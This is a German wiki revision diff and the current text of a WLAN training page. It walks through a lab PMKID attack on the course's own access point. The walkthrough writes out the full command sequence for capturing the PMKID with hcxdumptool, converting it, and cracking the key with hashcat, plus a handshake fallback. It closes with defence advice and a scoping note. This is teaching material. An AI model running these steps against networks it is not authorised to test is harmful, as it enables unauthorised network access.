Wlan PMKID-Angriff: Unterschied zwischen den Versionen
Zur Navigation springen
Zur Suche springen
(Die Seite wurde neu angelegt: „=PMKID-Angriff in der WLAN-Schulung= == Vorbereitung == =Passwordliste generieren= *crunch 8 8 0123456789 -o password.lst Crunch will now generate the follow…“) |
|||
| (4 dazwischenliegende Versionen desselben Benutzers werden nicht angezeigt) | |||
| Zeile 1: | Zeile 1: | ||
| − | =PMKID-Angriff | + | =Szenario= |
| + | ;Angriff auf den Access Point <code>dd-xinux</code> (siehe [[accesspoint-hostapd|Access Point aufsetzen]]). | ||
| + | ;PMKID-Angriff: '''clientless''' — kein verbundener Client, kein Deauth nötig. Wir greifen den PMKID direkt aus dem 1. EAPOL-Frame ab. | ||
| − | = | + | =Passwortliste generieren= |
| − | + | ;Das AP-Passwort ist 8-stellig numerisch (<code>00001234</code>) — genau dafür bauen wir die Liste. | |
*crunch 8 8 0123456789 -o password.lst | *crunch 8 8 0123456789 -o password.lst | ||
Crunch will now generate the following amount of data: 900000000 bytes | Crunch will now generate the following amount of data: 900000000 bytes | ||
... dies dauert eine Weile | ... dies dauert eine Weile | ||
| − | = | + | =WLAN-Karte freiräumen= |
| − | + | ;NetworkManager muss nicht gestoppt werden — er fischt nicht rein, solange er die Karte nicht anfasst. Nur <code>wlan0</code> aus seiner Verwaltung nehmen: | |
| − | * | + | *nmcli dev set wlan0 managed no |
| − | = | + | =Ziel-BSSID ermitteln= |
| − | + | ;'''Der wichtigste Schritt — sonst greifen wir alle Netze im Raum an.''' Wir brauchen die MAC-Adresse (BSSID) genau unseres APs <code>dd-xinux</code>. | |
| − | < | + | ;Variante A — direkt am AP ablesen (das ist unser eigener AP): |
| − | + | *iw dev wlan0 info | |
| − | + | ;Variante B — kurz scannen und nach der ESSID suchen: | |
| − | </ | + | *hcxdumptool -i wlan0 --rcascan=active |
| + | ;oder mit iw von einer zweiten Karte: | ||
| + | *iw dev wlan0 scan | grep -iB5 dd-xinux | ||
| + | ;Wir notieren die BSSID, z. B. <code>AA:BB:CC:11:22:33</code>. | ||
| − | = | + | =Filter auf unseren AP bauen= |
| − | * | + | ;'''Am einfachsten''' — hcxdumptool baut den Filter selbst, kein tcpdump nötig: |
| − | * | + | *hcxdumptool --bpfc="wlan addr3 AA:BB:CC:11:22:33 or wlan addr3 ffffffffffff" > dd-xinux.bpf |
| − | * | + | ;Das <code>or wlan addr3 ffffffffffff</code> lässt Broadcast-/Probe-Frames durch — sonst meckert hcxpcapngtool später über fehlende Frames. |
| + | ;'''Falls hcxdumptool ohne internen Compiler gebaut wurde''', geht es über tcpdump — aber die Karte muss '''vorher''' im Monitor-Modus sein, sonst kennt tcpdump kein <code>wlan addr3</code>: | ||
| + | *hcxdumptool -m wlan0 | ||
| + | *tcpdump -s 65535 -y IEEE802_11_RADIO wlan addr3 AA:BB:CC:11:22:33 or wlan addr3 ffffffffffff -ddd > dd-xinux.bpf | ||
| + | ;'''Alte Reihe (bis 6.2.9):''' statt BPF eine Textdatei mit der BSSID '''ohne''' Doppelpunkte: | ||
| + | *echo aabbcc112233 > dd-xinux.txt | ||
| − | =PMKID- | + | =PMKID abgreifen= |
| − | *hcxdumptool -i wlan0 -o | + | ;'''Neue Reihe''' — mit BPF-Filter: |
| − | ; | + | *hcxdumptool -i wlan0 -w dump.pcapng --bpf=dd-xinux.bpf |
| + | ;'''Alte Reihe''' — mit Filterliste: | ||
| + | *hcxdumptool -i wlan0 -o dump.pcapng --filterlist_ap=dd-xinux.txt --filtermode=2 --enable_status=1 | ||
| + | ;hcxdumptool schaltet die Karte selbst in den Monitor-Modus. Läuft ein paar Sekunden. | ||
| + | ;Mit <code>--exitoneapol=1</code> beendet sich hcxdumptool automatisch, sobald der PMKID gefangen ist. | ||
| + | ;Die Flags ändern sich zwischen den Versionen — im Zweifel einmal <code>hcxdumptool -h</code> prüfen. | ||
| − | =PMKID | + | =Diagnose: es kommt nichts= |
| − | * | + | ;Wenn kein PMKID auftaucht, liegt es fast immer an einem von vier Punkten. Der Reihe nach durchgehen: |
| + | ;'''1. Regulatory Domain gesetzt?''' Ohne gesetzte Region darf die Karte oft nicht senden — dann kein Association-Request, kein M1, kein PMKID. Das ist in DE der häufigste Grund. | ||
| + | *iw reg get | ||
| + | *iw reg set DE | ||
| + | ;'''2. Live-Anzeige lesen.''' Seit 6.3.0 zeigt hcxdumptool ein geteiltes Bild: oben AP-Status, unten Clients. Steht <code>dd-xinux</code> oben, erreicht die Karte den AP. Bleibt oben dauerhaft leer → Filter/Kanal/Treiber, nicht der Angriff. | ||
| + | ;'''3. Kanal festnageln.''' hcxdumptool hüpft über die Kanäle. Wir lesen den Kanal des APs ab und bleiben dort: | ||
| + | *iw dev wlan0 info | ||
| + | *hcxdumptool -i wlan0 -w dump.pcapng --bpf=dd-xinux.bpf -c KANAL | ||
| + | ;(Bandschreibweise variiert je Version — <code>hcxdumptool -h</code> zeigt das Format.) | ||
| + | ;'''4. Störer wirklich weg?''' NetworkManager/wpa_supplicant drehen sonst an der Karte: | ||
| + | *airmon-ng check kill | ||
| + | ;'''Offline-Gegenprobe.''' Egal was live scrollt — die Wahrheit steht im Konverter (siehe nächster Abschnitt): hcxpcapngtool zählt genau auf, was drin ist (PMKID, EAPOL M1..M4) und warnt, wenn der Filter nützliche Frames rausgeschnitten hat. Steht dort "0 PMKID", hat der AP schlicht keinen gesendet → Fallback. | ||
| − | =PMKID mit | + | =Fallback: voller Handshake= |
| − | + | ;Nicht jeder AP legt einen PMKID in M1. Dann nehmen wir den klassischen 4-Wege-Handshake — der klappt immer, sobald sich ein Client verbindet: | |
| + | *Ein Handy/Notebook mit <code>dd-xinux</code> verbinden (oder kurz trennen und neu verbinden). | ||
| + | ;hcxdumptool schneidet den Handshake mit, sofern wir auf dem AP-Kanal stehen. hcxpcapngtool macht daraus dieselbe .hc22000-Datei — <code>hashcat -m 22000</code> bleibt identisch. | ||
| + | ;Didaktisch schön: PMKID = clientless, Handshake = mit Client — beide enden im selben Hash. | ||
| − | = | + | =In hashcat-Format wandeln= |
| − | * | + | *hcxpcapngtool -o pmkid.hc22000 dump.pcapng |
| − | + | ;Erscheint "PMKID(s) written to 22000 hash file"? Dann haben wir ihn. | |
| − | * | + | ;Kontrolle, dass wirklich nur unser AP drin ist: |
| + | *hcxhashtool -i pmkid.hc22000 --info=stdout | ||
| − | = | + | =Cracken= |
| − | + | *hashcat -m 22000 pmkid.hc22000 password.lst | |
| − | + | ;Ergebnis ansehen: | |
| − | + | *hashcat -m 22000 pmkid.hc22000 --show | |
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | + | =Crack-Geschwindigkeiten= | |
| + | *Laptop schafft circa 1000 Keys pro Sekunde | ||
| + | *Eine starke Grafikkarte (Titan XP) schafft 520000 hash/s | ||
| + | *Online-Rechenpower mieten | ||
| + | *Cluster aus mehreren Grafikkarten bauen | ||
| − | == | + | =Warum ist das knackbar?= |
| − | + | ;<code>00001234</code> ist 8-stellig numerisch: 10^8 = 100 Mio. Kandidaten — in Kurszeit machbar. | |
| − | + | ;8 Zeichen gemischt wären 62^8 ≈ 2,2×10^14 — praktisch nicht zu knacken. Ein starkes, zufälliges Passwort macht den Angriff chancenlos. | |
| − | |||
| − | |||
| − | + | =Verteidigung= | |
| − | + | *Langes, zufälliges PSK. | |
| − | + | *'''WPA3 / SAE''' beseitigt den Offline-Angriff komplett — es gibt keinen abfangbaren Wert mehr. | |
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | * | ||
| − | * | ||
| − | = | + | =Rechtlicher Hinweis= |
| − | + | ;Der BPF-Filter ist nicht nur Technik, sondern Pflicht: Er stellt sicher, dass wir ausschließlich unseren eigenen Labor-AP <code>dd-xinux</code> angreifen und keine fremden Netze im Gebäude. | |
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | < | ||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | </ | ||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
=Links= | =Links= | ||
| − | * | + | *https://github.com/ZerBea/hcxdumptool |
| − | * | + | *https://www.kali.org/tools/hcxtools/ |
| − | * | + | *https://hashcat.net/forum/thread-7717.html |
Aktuelle Version vom 20. August 2026, 11:07 Uhr
Szenario
- Angriff auf den Access Point
dd-xinux(siehe Access Point aufsetzen). - PMKID-Angriff
- clientless — kein verbundener Client, kein Deauth nötig. Wir greifen den PMKID direkt aus dem 1. EAPOL-Frame ab.
Passwortliste generieren
- Das AP-Passwort ist 8-stellig numerisch (
00001234) — genau dafür bauen wir die Liste.
- crunch 8 8 0123456789 -o password.lst
Crunch will now generate the following amount of data: 900000000 bytes ... dies dauert eine Weile
WLAN-Karte freiräumen
- NetworkManager muss nicht gestoppt werden — er fischt nicht rein, solange er die Karte nicht anfasst. Nur
wlan0aus seiner Verwaltung nehmen
- nmcli dev set wlan0 managed no
Ziel-BSSID ermitteln
- Der wichtigste Schritt — sonst greifen wir alle Netze im Raum an. Wir brauchen die MAC-Adresse (BSSID) genau unseres APs
dd-xinux. - Variante A — direkt am AP ablesen (das ist unser eigener AP)
- iw dev wlan0 info
- Variante B — kurz scannen und nach der ESSID suchen
- hcxdumptool -i wlan0 --rcascan=active
- oder mit iw von einer zweiten Karte
- iw dev wlan0 scan | grep -iB5 dd-xinux
- Wir notieren die BSSID, z. B.
AA:BB:CC:11:22:33.
Filter auf unseren AP bauen
- Am einfachsten — hcxdumptool baut den Filter selbst, kein tcpdump nötig
- hcxdumptool --bpfc="wlan addr3 AA:BB:CC:11:22:33 or wlan addr3 ffffffffffff" > dd-xinux.bpf
- Das
or wlan addr3 fffffffffffflässt Broadcast-/Probe-Frames durch — sonst meckert hcxpcapngtool später über fehlende Frames. - Falls hcxdumptool ohne internen Compiler gebaut wurde, geht es über tcpdump — aber die Karte muss vorher im Monitor-Modus sein, sonst kennt tcpdump kein
wlan addr3
- hcxdumptool -m wlan0
- tcpdump -s 65535 -y IEEE802_11_RADIO wlan addr3 AA:BB:CC:11:22:33 or wlan addr3 ffffffffffff -ddd > dd-xinux.bpf
- Alte Reihe (bis 6.2.9): statt BPF eine Textdatei mit der BSSID ohne Doppelpunkte
- echo aabbcc112233 > dd-xinux.txt
PMKID abgreifen
- Neue Reihe — mit BPF-Filter
- hcxdumptool -i wlan0 -w dump.pcapng --bpf=dd-xinux.bpf
- Alte Reihe — mit Filterliste
- hcxdumptool -i wlan0 -o dump.pcapng --filterlist_ap=dd-xinux.txt --filtermode=2 --enable_status=1
- hcxdumptool schaltet die Karte selbst in den Monitor-Modus. Läuft ein paar Sekunden.
- Mit
--exitoneapol=1beendet sich hcxdumptool automatisch, sobald der PMKID gefangen ist. - Die Flags ändern sich zwischen den Versionen — im Zweifel einmal
hcxdumptool -hprüfen.
Diagnose: es kommt nichts
- Wenn kein PMKID auftaucht, liegt es fast immer an einem von vier Punkten. Der Reihe nach durchgehen
- 1. Regulatory Domain gesetzt? Ohne gesetzte Region darf die Karte oft nicht senden — dann kein Association-Request, kein M1, kein PMKID. Das ist in DE der häufigste Grund.
- iw reg get
- iw reg set DE
- 2. Live-Anzeige lesen. Seit 6.3.0 zeigt hcxdumptool ein geteiltes Bild
- oben AP-Status, unten Clients. Steht
dd-xinuxoben, erreicht die Karte den AP. Bleibt oben dauerhaft leer → Filter/Kanal/Treiber, nicht der Angriff. - 3. Kanal festnageln. hcxdumptool hüpft über die Kanäle. Wir lesen den Kanal des APs ab und bleiben dort
- iw dev wlan0 info
- hcxdumptool -i wlan0 -w dump.pcapng --bpf=dd-xinux.bpf -c KANAL
- (Bandschreibweise variiert je Version —
hcxdumptool -hzeigt das Format.) - 4. Störer wirklich weg? NetworkManager/wpa_supplicant drehen sonst an der Karte
- airmon-ng check kill
- Offline-Gegenprobe. Egal was live scrollt — die Wahrheit steht im Konverter (siehe nächster Abschnitt)
- hcxpcapngtool zählt genau auf, was drin ist (PMKID, EAPOL M1..M4) und warnt, wenn der Filter nützliche Frames rausgeschnitten hat. Steht dort "0 PMKID", hat der AP schlicht keinen gesendet → Fallback.
Fallback: voller Handshake
- Nicht jeder AP legt einen PMKID in M1. Dann nehmen wir den klassischen 4-Wege-Handshake — der klappt immer, sobald sich ein Client verbindet
- Ein Handy/Notebook mit
dd-xinuxverbinden (oder kurz trennen und neu verbinden).
- hcxdumptool schneidet den Handshake mit, sofern wir auf dem AP-Kanal stehen. hcxpcapngtool macht daraus dieselbe .hc22000-Datei —
hashcat -m 22000bleibt identisch. - Didaktisch schön
- PMKID = clientless, Handshake = mit Client — beide enden im selben Hash.
In hashcat-Format wandeln
- hcxpcapngtool -o pmkid.hc22000 dump.pcapng
- Erscheint "PMKID(s) written to 22000 hash file"? Dann haben wir ihn.
- Kontrolle, dass wirklich nur unser AP drin ist
- hcxhashtool -i pmkid.hc22000 --info=stdout
Cracken
- hashcat -m 22000 pmkid.hc22000 password.lst
- Ergebnis ansehen
- hashcat -m 22000 pmkid.hc22000 --show
Crack-Geschwindigkeiten
- Laptop schafft circa 1000 Keys pro Sekunde
- Eine starke Grafikkarte (Titan XP) schafft 520000 hash/s
- Online-Rechenpower mieten
- Cluster aus mehreren Grafikkarten bauen
Warum ist das knackbar?
00001234ist 8-stellig numerisch- 10^8 = 100 Mio. Kandidaten — in Kurszeit machbar.
- 8 Zeichen gemischt wären 62^8 ≈ 2,2×10^14 — praktisch nicht zu knacken. Ein starkes, zufälliges Passwort macht den Angriff chancenlos.
Verteidigung
- Langes, zufälliges PSK.
- WPA3 / SAE beseitigt den Offline-Angriff komplett — es gibt keinen abfangbaren Wert mehr.
Rechtlicher Hinweis
- Der BPF-Filter ist nicht nur Technik, sondern Pflicht
- Er stellt sicher, dass wir ausschließlich unseren eigenen Labor-AP
dd-xinuxangreifen und keine fremden Netze im Gebäude.